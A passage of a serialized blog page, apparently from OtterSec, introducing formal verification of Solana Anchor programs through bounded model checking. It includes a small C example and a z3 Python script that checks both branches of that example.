",{"type":24,"tag":32,"props":18439,"children":18441},{"className":18440},[],[18442],{"type":29,"value":18443},"'info",{"type":29,"value":18445}," is the lifetime parameter of the ",{"type":24,"tag":32,"props":18447,"children":18449},{"className":18448},[],[18450],{"type":29,"value":14681},{"type":29,"value":18452}," struct) - this is exactly the lifetime we started with. ",{"type":24,"tag":2033,"props":18454,"children":18458},{"href":18455,"ariaLabel":18456,"className":18457,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[18275],[18459],{"type":29,"value":18278},{"type":24,"tag":2584,"props":18461,"children":18462},{},[18463],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":18465},[18466,18472,18476,18477,18479],{"id":14111,"depth":113,"text":18467,"children":18468},"Breaking down realloc",[18469,18470],{"id":14277,"depth":128,"text":14280},{"id":15628,"depth":128,"text":18471},"Back to realloc",{"id":16579,"depth":113,"text":16582,"children":18473},[18474,18475],{"id":16585,"depth":128,"text":16588},{"id":16807,"depth":128,"text":16810},{"id":16994,"depth":113,"text":16997},{"id":17396,"depth":113,"text":18478},"Towards safer unsafe",{"id":15220,"depth":113,"text":18170},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":18484,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":18485,"description":18486,"author":18487,"image":18488,"date":18490,"isFeatured":16,"onBlogPage":16,"tags":18491,"body":18492,"_type":2606,"_id":28750,"_source":2608,"_file":28751,"_stem":28752,"_extension":2611},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":18489,"height":13368,"width":15},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[2623,2624],{"type":21,"children":18493,"toc":28722},[18494,18499,18504,18530,18534,18546,18569,18592,18604,18627,18630,18637,18687,18693,18699,18704,18715,18756,18761,18767,18772,19005,19025,19030,19035,19108,19113,19183,19197,19622,19642,19648,19667,19672,19677,19682,19688,19700,19735,19746,19757,19769,19774,19806,19830,19849,19855,19872,19878,19905,19910,19930,19942,20088,20116,20119,20131,20214,20233,20236,20275,20442,20447,20453,20465,20483,20496,20657,20669,20682,21156,21161,21208,21214,21232,21301,21539,21753,21758,21832,21880,21885,21891,21993,22097,22102,22164,22169,22175,22240,22245,22287,22313,22319,22388,22393,22443,22454,22460,22471,22492,22497,22502,22525,22531,22543,22563,23678,23697,23748,23753,23761,23773,23778,23786,23791,23807,23843,23848,23942,23947,23955,23960,24072,24077,24085,24098,24262,24267,24275,24280,24285,24353,24387,24393,24398,24409,24427,24805,24817,24829,24837,24848,24879,24884,24892,24897,25169,25188,25193,25218,26086,26098,26197,26209,26251,26256,26268,26276,26281,26293,26319,26479,26491,26499,26504,26780,26785,26797,26952,26972,27298,27332,27526,27559,27571,27693,27713,27718,27723,27728,27741,27749,27754,28229,28241,28246,28258,28263,28522,28548,28553,28559,28565,28577,28589,28608,28655,28660,28666,28671,28676,28681,28686,28691,28696,28699,28718],{"type":24,"tag":25,"props":18495,"children":18496},{},[18497],{"type":29,"value":18498},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":24,"tag":25,"props":18500,"children":18501},{},[18502],{"type":29,"value":18503},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":24,"tag":25,"props":18505,"children":18506},{},[18507,18509,18513,18515,18520,18522,18529],{"type":29,"value":18508},"In the world of Web3 we create programs that talk to strangers ",{"type":24,"tag":2655,"props":18510,"children":18511},{},[18512],{"type":29,"value":16107},{"type":29,"value":18514}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":24,"tag":2655,"props":18516,"children":18517},{},[18518],{"type":29,"value":18519},"juciest",{"type":29,"value":18521},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":24,"tag":2033,"props":18523,"children":18526},{"href":18524,"rel":18525},"https://rekt.news/leaderboard/",[2037],[18527],{"type":29,"value":18528},"hundreds of millions of dollars",{"type":29,"value":161},{"type":24,"tag":18531,"props":18532,"children":18533},"hr",{},[],{"type":24,"tag":25,"props":18535,"children":18536},{},[18537,18539,18544],{"type":29,"value":18538},"At OtterSec we are ",{"type":24,"tag":2655,"props":18540,"children":18541},{},[18542],{"type":29,"value":18543},"highly skilled in pest control",{"type":29,"value":18545}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":24,"tag":25,"props":18547,"children":18548},{},[18549,18551,18558,18560,18567],{"type":29,"value":18550},"Recently we were contacted by the ",{"type":24,"tag":2033,"props":18552,"children":18555},{"href":18553,"rel":18554},"https://squads.so/",[2037],[18556],{"type":29,"value":18557},"Squads team",{"type":29,"value":18559}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":24,"tag":2033,"props":18561,"children":18564},{"href":18562,"rel":18563},"https://github.com/Squads-Protocol/squads-mpl",[2037],[18565],{"type":29,"value":18566},"Squads Multisig Program",{"type":29,"value":18568}," as our main case study.",{"type":24,"tag":25,"props":18570,"children":18571},{},[18572,18574,18581,18583,18590],{"type":29,"value":18573},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":24,"tag":2033,"props":18575,"children":18578},{"href":18576,"rel":18577},"https://www.anchor-lang.com/",[2037],[18579],{"type":29,"value":18580},"anchor-lang",{"type":29,"value":18582}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":24,"tag":2033,"props":18584,"children":18587},{"href":18585,"rel":18586},"https://github.com/model-checking/kani",[2037],[18588],{"type":29,"value":18589},"Kani Rust Verifier",{"type":29,"value":18591},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":24,"tag":25,"props":18593,"children":18594},{},[18595,18597,18602],{"type":29,"value":18596},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":24,"tag":2655,"props":18598,"children":18599},{},[18600],{"type":29,"value":18601},"bounded model checking",{"type":29,"value":18603}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":24,"tag":25,"props":18605,"children":18606},{},[18607],{"type":24,"tag":2655,"props":18608,"children":18609},{},[18610,18612,18619,18621],{"type":29,"value":18611},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":24,"tag":2033,"props":18613,"children":18616},{"href":18614,"rel":18615},"https://osec.io/contact",[2037],[18617],{"type":29,"value":18618},"this form",{"type":29,"value":18620}," or email us at ",{"type":24,"tag":2033,"props":18622,"children":18624},{"href":18623},"mailto:contact@osec.io",[18625],{"type":29,"value":18626},"contact@osec.io",{"type":24,"tag":18531,"props":18628,"children":18629},{},[],{"type":24,"tag":18631,"props":18632,"children":18634},"h4",{"id":18633},"contents",[18635],{"type":29,"value":18636},"Contents:",{"type":24,"tag":63,"props":18638,"children":18639},{},[18640,18645,18662,18672,18677,18682],{"type":24,"tag":67,"props":18641,"children":18642},{},[18643],{"type":29,"value":18644},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":24,"tag":67,"props":18646,"children":18647},{},[18648,18653,18655,18660],{"type":24,"tag":2040,"props":18649,"children":18650},{},[18651],{"type":29,"value":18652},"Specification",{"type":29,"value":18654},": How can we describe what we ",{"type":24,"tag":2655,"props":18656,"children":18657},{},[18658],{"type":29,"value":18659},"want",{"type":29,"value":18661}," our program to do?",{"type":24,"tag":67,"props":18663,"children":18664},{},[18665,18670],{"type":24,"tag":2040,"props":18666,"children":18667},{},[18668],{"type":29,"value":18669},"Verification",{"type":29,"value":18671},": How do we check that our model is correct?",{"type":24,"tag":67,"props":18673,"children":18674},{},[18675],{"type":29,"value":18676},"Case Study: Squads Multisig",{"type":24,"tag":67,"props":18678,"children":18679},{},[18680],{"type":29,"value":18681},"Additional challenges in Solana",{"type":24,"tag":67,"props":18683,"children":18684},{},[18685],{"type":29,"value":18686},"Conclusion",{"type":24,"tag":51,"props":18688,"children":18690},{"id":18689},"formal-verification-with-bounded-model-checking",[18691],{"type":29,"value":18692},"Formal Verification with Bounded Model Checking",{"type":24,"tag":1818,"props":18694,"children":18696},{"id":18695},"overview",[18697],{"type":29,"value":18698},"Overview",{"type":24,"tag":25,"props":18700,"children":18701},{},[18702],{"type":29,"value":18703},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":24,"tag":25,"props":18705,"children":18706},{},[18707,18709,18714],{"type":29,"value":18708},"There are many different flavors of formal verification, however in this research we are using ",{"type":24,"tag":2040,"props":18710,"children":18711},{},[18712],{"type":29,"value":18713},"bounded model checking (BMC)",{"type":29,"value":161},{"type":24,"tag":25,"props":18716,"children":18717},{},[18718,18720,18725,18727,18732,18734,18738,18740,18746,18748,18754],{"type":29,"value":18719},"In short, the idea of BMC is to execute our program ",{"type":24,"tag":2655,"props":18721,"children":18722},{},[18723],{"type":29,"value":18724},"symbolically",{"type":29,"value":18726}," rather than ",{"type":24,"tag":2655,"props":18728,"children":18729},{},[18730],{"type":29,"value":18731},"concretely",{"type":29,"value":18733},". Instead of actually performing an ",{"type":24,"tag":2655,"props":18735,"children":18736},{},[18737],{"type":29,"value":9384},{"type":29,"value":18739}," when we see the line ",{"type":24,"tag":32,"props":18741,"children":18743},{"className":18742},[],[18744],{"type":29,"value":18745},"int x = a + b",{"type":29,"value":18747},", we store the symbolic expression ",{"type":24,"tag":32,"props":18749,"children":18751},{"className":18750},[],[18752],{"type":29,"value":18753},"x == a + b",{"type":29,"value":18755},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":24,"tag":25,"props":18757,"children":18758},{},[18759],{"type":29,"value":18760},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":24,"tag":1818,"props":18762,"children":18764},{"id":18763},"a-simple-example",[18765],{"type":29,"value":18766},"A simple example",{"type":24,"tag":25,"props":18768,"children":18769},{},[18770],{"type":29,"value":18771},"As an example, consider the following function:",{"type":24,"tag":73,"props":18773,"children":18775},{"code":18774,"language":2891,"meta":7,"className":16250,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[18776],{"type":24,"tag":32,"props":18777,"children":18778},{"__ignoreMap":7},[18779,18809,18843,18855,18880,18908,18923,18950,18957,18964,18972,18998],{"type":24,"tag":83,"props":18780,"children":18781},{"class":85,"line":86},[18782,18787,18792,18796,18800,18805],{"type":24,"tag":83,"props":18783,"children":18784},{"style":90},[18785],{"type":29,"value":18786},"int",{"type":24,"tag":83,"props":18788,"children":18789},{"style":101},[18790],{"type":29,"value":18791}," foo",{"type":24,"tag":83,"props":18793,"children":18794},{"style":107},[18795],{"type":29,"value":558},{"type":24,"tag":83,"props":18797,"children":18798},{"style":90},[18799],{"type":29,"value":18786},{"type":24,"tag":83,"props":18801,"children":18802},{"style":137},[18803],{"type":29,"value":18804}," x",{"type":24,"tag":83,"props":18806,"children":18807},{"style":107},[18808],{"type":29,"value":253},{"type":24,"tag":83,"props":18810,"children":18811},{"class":85,"line":113},[18812,18817,18821,18825,18830,18834,18839],{"type":24,"tag":83,"props":18813,"children":18814},{"style":90},[18815],{"type":29,"value":18816},"    int",{"type":24,"tag":83,"props":18818,"children":18819},{"style":107},[18820],{"type":29,"value":4259},{"type":24,"tag":83,"props":18822,"children":18823},{"style":143},[18824],{"type":29,"value":1275},{"type":24,"tag":83,"props":18826,"children":18827},{"style":107},[18828],{"type":29,"value":18829}," x ",{"type":24,"tag":83,"props":18831,"children":18832},{"style":143},[18833],{"type":29,"value":4126},{"type":24,"tag":83,"props":18835,"children":18836},{"style":245},[18837],{"type":29,"value":18838}," 3",{"type":24,"tag":83,"props":18840,"children":18841},{"style":107},[18842],{"type":29,"value":321},{"type":24,"tag":83,"props":18844,"children":18845},{"class":85,"line":128},[18846,18850],{"type":24,"tag":83,"props":18847,"children":18848},{"style":90},[18849],{"type":29,"value":18816},{"type":24,"tag":83,"props":18851,"children":18852},{"style":107},[18853],{"type":29,"value":18854}," z;\n",{"type":24,"tag":83,"props":18856,"children":18857},{"class":85,"line":183},[18858,18862,18867,18871,18876],{"type":24,"tag":83,"props":18859,"children":18860},{"style":117},[18861],{"type":29,"value":218},{"type":24,"tag":83,"props":18863,"children":18864},{"style":107},[18865],{"type":29,"value":18866}," (y ",{"type":24,"tag":83,"props":18868,"children":18869},{"style":143},[18870],{"type":29,"value":10209},{"type":24,"tag":83,"props":18872,"children":18873},{"style":245},[18874],{"type":29,"value":18875}," 100",{"type":24,"tag":83,"props":18877,"children":18878},{"style":107},[18879],{"type":29,"value":253},{"type":24,"tag":83,"props":18881,"children":18882},{"class":85,"line":203},[18883,18888,18892,18896,18900,18904],{"type":24,"tag":83,"props":18884,"children":18885},{"style":107},[18886],{"type":29,"value":18887},"        z ",{"type":24,"tag":83,"props":18889,"children":18890},{"style":143},[18891],{"type":29,"value":1275},{"type":24,"tag":83,"props":18893,"children":18894},{"style":107},[18895],{"type":29,"value":4259},{"type":24,"tag":83,"props":18897,"children":18898},{"style":143},[18899],{"type":29,"value":4315},{"type":24,"tag":83,"props":18901,"children":18902},{"style":245},[18903],{"type":29,"value":7681},{"type":24,"tag":83,"props":18905,"children":18906},{"style":107},[18907],{"type":29,"value":321},{"type":24,"tag":83,"props":18909,"children":18910},{"class":85,"line":212},[18911,18915,18919],{"type":24,"tag":83,"props":18912,"children":18913},{"style":107},[18914],{"type":29,"value":373},{"type":24,"tag":83,"props":18916,"children":18917},{"style":117},[18918],{"type":29,"value":378},{"type":24,"tag":83,"props":18920,"children":18921},{"style":107},[18922],{"type":29,"value":125},{"type":24,"tag":83,"props":18924,"children":18925},{"class":85,"line":256},[18926,18930,18934,18938,18942,18946],{"type":24,"tag":83,"props":18927,"children":18928},{"style":107},[18929],{"type":29,"value":18887},{"type":24,"tag":83,"props":18931,"children":18932},{"style":143},[18933],{"type":29,"value":1275},{"type":24,"tag":83,"props":18935,"children":18936},{"style":107},[18937],{"type":29,"value":4259},{"type":24,"tag":83,"props":18939,"children":18940},{"style":143},[18941],{"type":29,"value":4126},{"type":24,"tag":83,"props":18943,"children":18944},{"style":245},[18945],{"type":29,"value":295},{"type":24,"tag":83,"props":18947,"children":18948},{"style":107},[18949],{"type":29,"value":321},{"type":24,"tag":83,"props":18951,"children":18952},{"class":85,"line":270},[18953],{"type":24,"tag":83,"props":18954,"children":18955},{"style":107},[18956],{"type":29,"value":446},{"type":24,"tag":83,"props":18958,"children":18959},{"class":85,"line":302},[18960],{"type":24,"tag":83,"props":18961,"children":18962},{"emptyLinePlaceholder":16},[18963],{"type":29,"value":3422},{"type":24,"tag":83,"props":18965,"children":18966},{"class":85,"line":324},[18967],{"type":24,"tag":83,"props":18968,"children":18969},{"style":2735},[18970],{"type":29,"value":18971},"    // Property P:\n",{"type":24,"tag":83,"props":18973,"children":18974},{"class":85,"line":345},[18975,18980,18985,18989,18994],{"type":24,"tag":83,"props":18976,"children":18977},{"style":101},[18978],{"type":29,"value":18979},"    assert",{"type":24,"tag":83,"props":18981,"children":18982},{"style":107},[18983],{"type":29,"value":18984},"(z ",{"type":24,"tag":83,"props":18986,"children":18987},{"style":143},[18988],{"type":29,"value":15427},{"type":24,"tag":83,"props":18990,"children":18991},{"style":245},[18992],{"type":29,"value":18993}," 105",{"type":24,"tag":83,"props":18995,"children":18996},{"style":107},[18997],{"type":29,"value":581},{"type":24,"tag":83,"props":18999,"children":19000},{"class":85,"line":358},[19001],{"type":24,"tag":83,"props":19002,"children":19003},{"style":107},[19004],{"type":29,"value":464},{"type":24,"tag":25,"props":19006,"children":19007},{},[19008,19010,19016,19018,19024],{"type":29,"value":19009},"This function takes an input ",{"type":24,"tag":32,"props":19011,"children":19013},{"className":19012},[],[19014],{"type":29,"value":19015},"x",{"type":29,"value":19017}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":24,"tag":32,"props":19019,"children":19021},{"className":19020},[],[19022],{"type":29,"value":19023},"z != 105",{"type":29,"value":161},{"type":24,"tag":25,"props":19026,"children":19027},{},[19028],{"type":29,"value":19029},"With BMC, we could trace this program and derive the following constraints:",{"type":24,"tag":25,"props":19031,"children":19032},{},[19033],{"type":29,"value":19034},"Positive branch:",{"type":24,"tag":73,"props":19036,"children":19038},{"code":19037,"language":2891,"meta":7,"className":16250,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[19039],{"type":24,"tag":32,"props":19040,"children":19041},{"__ignoreMap":7},[19042,19067,19083],{"type":24,"tag":83,"props":19043,"children":19044},{"class":85,"line":86},[19045,19050,19054,19058,19062],{"type":24,"tag":83,"props":19046,"children":19047},{"style":107},[19048],{"type":29,"value":19049},"y ",{"type":24,"tag":83,"props":19051,"children":19052},{"style":143},[19053],{"type":29,"value":8320},{"type":24,"tag":83,"props":19055,"children":19056},{"style":107},[19057],{"type":29,"value":18829},{"type":24,"tag":83,"props":19059,"children":19060},{"style":143},[19061],{"type":29,"value":4126},{"type":24,"tag":83,"props":19063,"children":19064},{"style":245},[19065],{"type":29,"value":19066}," 3\n",{"type":24,"tag":83,"props":19068,"children":19069},{"class":85,"line":113},[19070,19074,19078],{"type":24,"tag":83,"props":19071,"children":19072},{"style":107},[19073],{"type":29,"value":19049},{"type":24,"tag":83,"props":19075,"children":19076},{"style":143},[19077],{"type":29,"value":10209},{"type":24,"tag":83,"props":19079,"children":19080},{"style":245},[19081],{"type":29,"value":19082}," 100\n",{"type":24,"tag":83,"props":19084,"children":19085},{"class":85,"line":128},[19086,19091,19095,19099,19103],{"type":24,"tag":83,"props":19087,"children":19088},{"style":107},[19089],{"type":29,"value":19090},"z ",{"type":24,"tag":83,"props":19092,"children":19093},{"style":143},[19094],{"type":29,"value":8320},{"type":24,"tag":83,"props":19096,"children":19097},{"style":107},[19098],{"type":29,"value":4259},{"type":24,"tag":83,"props":19100,"children":19101},{"style":143},[19102],{"type":29,"value":4315},{"type":24,"tag":83,"props":19104,"children":19105},{"style":245},[19106],{"type":29,"value":19107}," 2\n",{"type":24,"tag":25,"props":19109,"children":19110},{},[19111],{"type":29,"value":19112},"Negative branch:",{"type":24,"tag":73,"props":19114,"children":19116},{"code":19115,"language":2891,"meta":7,"className":16250,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[19117],{"type":24,"tag":32,"props":19118,"children":19119},{"__ignoreMap":7},[19120,19143,19159],{"type":24,"tag":83,"props":19121,"children":19122},{"class":85,"line":86},[19123,19127,19131,19135,19139],{"type":24,"tag":83,"props":19124,"children":19125},{"style":107},[19126],{"type":29,"value":19049},{"type":24,"tag":83,"props":19128,"children":19129},{"style":143},[19130],{"type":29,"value":8320},{"type":24,"tag":83,"props":19132,"children":19133},{"style":107},[19134],{"type":29,"value":18829},{"type":24,"tag":83,"props":19136,"children":19137},{"style":143},[19138],{"type":29,"value":4126},{"type":24,"tag":83,"props":19140,"children":19141},{"style":245},[19142],{"type":29,"value":19066},{"type":24,"tag":83,"props":19144,"children":19145},{"class":85,"line":113},[19146,19150,19155],{"type":24,"tag":83,"props":19147,"children":19148},{"style":107},[19149],{"type":29,"value":19049},{"type":24,"tag":83,"props":19151,"children":19152},{"style":143},[19153],{"type":29,"value":19154},"\u003C=",{"type":24,"tag":83,"props":19156,"children":19157},{"style":245},[19158],{"type":29,"value":19082},{"type":24,"tag":83,"props":19160,"children":19161},{"class":85,"line":128},[19162,19166,19170,19174,19178],{"type":24,"tag":83,"props":19163,"children":19164},{"style":107},[19165],{"type":29,"value":19090},{"type":24,"tag":83,"props":19167,"children":19168},{"style":143},[19169],{"type":29,"value":8320},{"type":24,"tag":83,"props":19171,"children":19172},{"style":107},[19173],{"type":29,"value":4259},{"type":24,"tag":83,"props":19175,"children":19176},{"style":143},[19177],{"type":29,"value":4126},{"type":24,"tag":83,"props":19179,"children":19180},{"style":245},[19181],{"type":29,"value":19182}," 1\n",{"type":24,"tag":25,"props":19184,"children":19185},{},[19186,19188,19195],{"type":29,"value":19187},"Using the ",{"type":24,"tag":2033,"props":19189,"children":19192},{"href":19190,"rel":19191},"https://github.com/Z3Prover/z3",[2037],[19193],{"type":29,"value":19194},"z3",{"type":29,"value":19196}," SMT solver, we could check both of these cases like so:",{"type":24,"tag":73,"props":19198,"children":19202},{"code":19199,"language":19200,"meta":7,"className":19201,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[19203],{"type":24,"tag":32,"props":19204,"children":19205},{"__ignoreMap":7},[19206,19229,19236,19262,19286,19310,19317,19325,19342,19370,19389,19417,19424,19432,19453,19471,19478,19486,19501,19528,19547,19574,19581,19588,19607],{"type":24,"tag":83,"props":19207,"children":19208},{"class":85,"line":86},[19209,19214,19219,19224],{"type":24,"tag":83,"props":19210,"children":19211},{"style":117},[19212],{"type":29,"value":19213},"from",{"type":24,"tag":83,"props":19215,"children":19216},{"style":107},[19217],{"type":29,"value":19218}," z3 ",{"type":24,"tag":83,"props":19220,"children":19221},{"style":117},[19222],{"type":29,"value":19223},"import",{"type":24,"tag":83,"props":19225,"children":19226},{"style":143},[19227],{"type":29,"value":19228}," *\n",{"type":24,"tag":83,"props":19230,"children":19231},{"class":85,"line":113},[19232],{"type":24,"tag":83,"props":19233,"children":19234},{"emptyLinePlaceholder":16},[19235],{"type":29,"value":3422},{"type":24,"tag":83,"props":19237,"children":19238},{"class":85,"line":128},[19239,19244,19248,19253,19258],{"type":24,"tag":83,"props":19240,"children":19241},{"style":107},[19242],{"type":29,"value":19243},"x ",{"type":24,"tag":83,"props":19245,"children":19246},{"style":143},[19247],{"type":29,"value":1275},{"type":24,"tag":83,"props":19249,"children":19250},{"style":107},[19251],{"type":29,"value":19252}," Int(",{"type":24,"tag":83,"props":19254,"children":19255},{"style":187},[19256],{"type":29,"value":19257},"'x'",{"type":24,"tag":83,"props":19259,"children":19260},{"style":107},[19261],{"type":29,"value":2905},{"type":24,"tag":83,"props":19263,"children":19264},{"class":85,"line":183},[19265,19269,19273,19277,19282],{"type":24,"tag":83,"props":19266,"children":19267},{"style":107},[19268],{"type":29,"value":19049},{"type":24,"tag":83,"props":19270,"children":19271},{"style":143},[19272],{"type":29,"value":1275},{"type":24,"tag":83,"props":19274,"children":19275},{"style":107},[19276],{"type":29,"value":19252},{"type":24,"tag":83,"props":19278,"children":19279},{"style":187},[19280],{"type":29,"value":19281},"'y'",{"type":24,"tag":83,"props":19283,"children":19284},{"style":107},[19285],{"type":29,"value":2905},{"type":24,"tag":83,"props":19287,"children":19288},{"class":85,"line":203},[19289,19293,19297,19301,19306],{"type":24,"tag":83,"props":19290,"children":19291},{"style":107},[19292],{"type":29,"value":19090},{"type":24,"tag":83,"props":19294,"children":19295},{"style":143},[19296],{"type":29,"value":1275},{"type":24,"tag":83,"props":19298,"children":19299},{"style":107},[19300],{"type":29,"value":19252},{"type":24,"tag":83,"props":19302,"children":19303},{"style":187},[19304],{"type":29,"value":19305},"'z'",{"type":24,"tag":83,"props":19307,"children":19308},{"style":107},[19309],{"type":29,"value":2905},{"type":24,"tag":83,"props":19311,"children":19312},{"class":85,"line":212},[19313],{"type":24,"tag":83,"props":19314,"children":19315},{"emptyLinePlaceholder":16},[19316],{"type":29,"value":3422},{"type":24,"tag":83,"props":19318,"children":19319},{"class":85,"line":256},[19320],{"type":24,"tag":83,"props":19321,"children":19322},{"style":2735},[19323],{"type":29,"value":19324},"# Positive branch:\n",{"type":24,"tag":83,"props":19326,"children":19327},{"class":85,"line":270},[19328,19333,19337],{"type":24,"tag":83,"props":19329,"children":19330},{"style":107},[19331],{"type":29,"value":19332},"s ",{"type":24,"tag":83,"props":19334,"children":19335},{"style":143},[19336],{"type":29,"value":1275},{"type":24,"tag":83,"props":19338,"children":19339},{"style":107},[19340],{"type":29,"value":19341}," Solver()\n",{"type":24,"tag":83,"props":19343,"children":19344},{"class":85,"line":302},[19345,19350,19354,19358,19362,19366],{"type":24,"tag":83,"props":19346,"children":19347},{"style":107},[19348],{"type":29,"value":19349},"s.add(y ",{"type":24,"tag":83,"props":19351,"children":19352},{"style":143},[19353],{"type":29,"value":8320},{"type":24,"tag":83,"props":19355,"children":19356},{"style":107},[19357],{"type":29,"value":18829},{"type":24,"tag":83,"props":19359,"children":19360},{"style":143},[19361],{"type":29,"value":4126},{"type":24,"tag":83,"props":19363,"children":19364},{"style":245},[19365],{"type":29,"value":18838},{"type":24,"tag":83,"props":19367,"children":19368},{"style":107},[19369],{"type":29,"value":2905},{"type":24,"tag":83,"props":19371,"children":19372},{"class":85,"line":324},[19373,19377,19381,19385],{"type":24,"tag":83,"props":19374,"children":19375},{"style":107},[19376],{"type":29,"value":19349},{"type":24,"tag":83,"props":19378,"children":19379},{"style":143},[19380],{"type":29,"value":10209},{"type":24,"tag":83,"props":19382,"children":19383},{"style":245},[19384],{"type":29,"value":18875},{"type":24,"tag":83,"props":19386,"children":19387},{"style":107},[19388],{"type":29,"value":2905},{"type":24,"tag":83,"props":19390,"children":19391},{"class":85,"line":345},[19392,19397,19401,19405,19409,19413],{"type":24,"tag":83,"props":19393,"children":19394},{"style":107},[19395],{"type":29,"value":19396},"s.add(z ",{"type":24,"tag":83,"props":19398,"children":19399},{"style":143},[19400],{"type":29,"value":8320},{"type":24,"tag":83,"props":19402,"children":19403},{"style":107},[19404],{"type":29,"value":4259},{"type":24,"tag":83,"props":19406,"children":19407},{"style":143},[19408],{"type":29,"value":4315},{"type":24,"tag":83,"props":19410,"children":19411},{"style":245},[19412],{"type":29,"value":7681},{"type":24,"tag":83,"props":19414,"children":19415},{"style":107},[19416],{"type":29,"value":2905},{"type":24,"tag":83,"props":19418,"children":19419},{"class":85,"line":358},[19420],{"type":24,"tag":83,"props":19421,"children":19422},{"emptyLinePlaceholder":16},[19423],{"type":29,"value":3422},{"type":24,"tag":83,"props":19425,"children":19426},{"class":85,"line":367},[19427],{"type":24,"tag":83,"props":19428,"children":19429},{"style":2735},[19430],{"type":29,"value":19431},"# check if we can violate the correctness property\n",{"type":24,"tag":83,"props":19433,"children":19434},{"class":85,"line":406},[19435,19440,19444,19448],{"type":24,"tag":83,"props":19436,"children":19437},{"style":107},[19438],{"type":29,"value":19439},"s.add(Not(z ",{"type":24,"tag":83,"props":19441,"children":19442},{"style":143},[19443],{"type":29,"value":15427},{"type":24,"tag":83,"props":19445,"children":19446},{"style":245},[19447],{"type":29,"value":18993},{"type":24,"tag":83,"props":19449,"children":19450},{"style":107},[19451],{"type":29,"value":19452},"))\n",{"type":24,"tag":83,"props":19454,"children":19455},{"class":85,"line":427},[19456,19461,19466],{"type":24,"tag":83,"props":19457,"children":19458},{"style":101},[19459],{"type":29,"value":19460},"print",{"type":24,"tag":83,"props":19462,"children":19463},{"style":107},[19464],{"type":29,"value":19465},"(s.check()) ",{"type":24,"tag":83,"props":19467,"children":19468},{"style":2735},[19469],{"type":29,"value":19470},"# \"unsat\"\n",{"type":24,"tag":83,"props":19472,"children":19473},{"class":85,"line":440},[19474],{"type":24,"tag":83,"props":19475,"children":19476},{"emptyLinePlaceholder":16},[19477],{"type":29,"value":3422},{"type":24,"tag":83,"props":19479,"children":19480},{"class":85,"line":449},[19481],{"type":24,"tag":83,"props":19482,"children":19483},{"style":2735},[19484],{"type":29,"value":19485},"# Negative branch:\n",{"type":24,"tag":83,"props":19487,"children":19488},{"class":85,"line":458},[19489,19493,19497],{"type":24,"tag":83,"props":19490,"children":19491},{"style":107},[19492],{"type":29,"value":19332},{"type":24,"tag":83,"props":19494,"children":19495},{"style":143},[19496],{"type":29,"value":1275},{"type":24,"tag":83,"props":19498,"children":19499},{"style":107},[19500],{"type":29,"value":19341},{"type":24,"tag":83,"props":19502,"children":19503},{"class":85,"line":1065},[19504,19508,19512,19516,19520,19524],{"type":24,"tag":83,"props":19505,"children":19506},{"style":107},[19507],{"type":29,"value":19349},{"type":24,"tag":83,"props":19509,"children":19510},{"style":143},[19511],{"type":29,"value":8320},{"type":24,"tag":83,"props":19513,"children":19514},{"style":107},[19515],{"type":29,"value":18829},{"type":24,"tag":83,"props":19517,"children":19518},{"style":143},[19519],{"type":29,"value":4126},{"type":24,"tag":83,"props":19521,"children":19522},{"style":245},[19523],{"type":29,"value":18838},{"type":24,"tag":83,"props":19525,"children":19526},{"style":107},[19527],{"type":29,"value":2905},{"type":24,"tag":83,"props":19529,"children":19530},{"class":85,"line":1668},[19531,19535,19539,19543],{"type":24,"tag":83,"props":19532,"children":19533},{"style":107},[19534],{"type":29,"value":19349},{"type":24,"t